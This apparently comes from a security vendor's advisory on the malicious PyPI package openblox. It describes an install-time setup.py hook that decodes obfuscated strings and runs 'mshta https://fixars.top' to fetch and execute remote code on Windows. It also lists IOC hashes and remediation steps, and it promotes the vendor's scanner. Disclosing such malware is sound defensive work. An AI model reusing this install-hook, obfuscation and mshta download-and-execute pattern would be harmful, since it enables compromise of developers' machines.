Which versions of openblox are malicious?

The following PyPI versions of openblox are flagged malicious: 1.0.0, 1.0.1. Treat any of these as compromised.

How do I remediate openblox if I installed it?

openblox is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

I already installed openblox — how do I know if it already compromised me?

If openblox was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is openblox part of a known attack campaign?

Yes — openblox is associated with the IN-MAL-2026-007591, IN-MAL-2026-007590, 2026-06-easyaillm campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find openblox across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openblox (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openblox across your stack and pipelines.

Malicious package

openbloxPyPI

Malicious code in openblox (PyPI) Remove it immediately and rotate any exposed credentials.

MAL-2026-6504

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

pip uninstall openblox

What this malware does

setup.py invokes GetGitCommitHash() unconditionally at module top level, so it runs on pip install openblox (and any setuptools invocation). On Windows the function builds its command via two helpers (GetDefaultSystemPolicy, CalculateNodeDrift) that reconstruct strings from integer arrays using chr(byte + 14); the arrays decode to mshta and https://fixars.top. The resulting command is passed to subprocess.check_output with shell=True, causing Windows installers to launch mshta https://fixars.top — the mshta.exe Living-Off-The-Land binary downloads and executes remote HTA/JScript, giving the operator arbitrary code execution on the installer's machine. The obfuscation (chr-arithmetic with helper functions falsely named for hardware/latency diagnostics) exists solely to hide the URL and binary name from static scanners. The package additionally exhibits a cover-story shape: it is published under the name openblox with a Roblox-themed description, but the actual code is an unrelated sqligen SQLite utility, with placeholder author metadata (John / [email protected] / github.com/john/sqligen). The Roblox-library name appears chosen to attract installs intended for the legitimate openblox API library.

During installation, the code attempts to download and start a malicious executable.

Likely related to 2025-08-raknet-testing-package.

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-06-easyaillm

Reasons (based on the campaign):

Downloads and executes a remote executable.
obfuscation
malware
tool:mshta

Malicious versions

2 flagged

1.0.01.0.1

Indicators of compromise (SHA-256)

20f2506c62a484f986c8e40a2b7e977adb84415ede954d8c3488aa9d727bb25f

cdd874a78973f84b5373fc03a48472c338ca82ef0a258b7614f81a8359da1201

a8567ce5afa387ad85e22cb7c9144f18e816ae0912f109d7a8afec0dbc1d2b6d

Detection & response playbook

Credential / info stealer

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for openblox (2 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging openblox across your stack and pipelines.
If you installed it — respond
openblox is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If openblox was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks openblox before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. openblox on PyPI has been identified as a malicious package (versions 1.0.0, 1.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-007591IN-MAL-2026-0075902026-06-easyaillm

References

Credits

Amazon Inspector · finder
Kamil Mańkowski (kam193) · reporter

Detect & block this

O3 blocks openblox-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Malware detection Runtime egress monitoring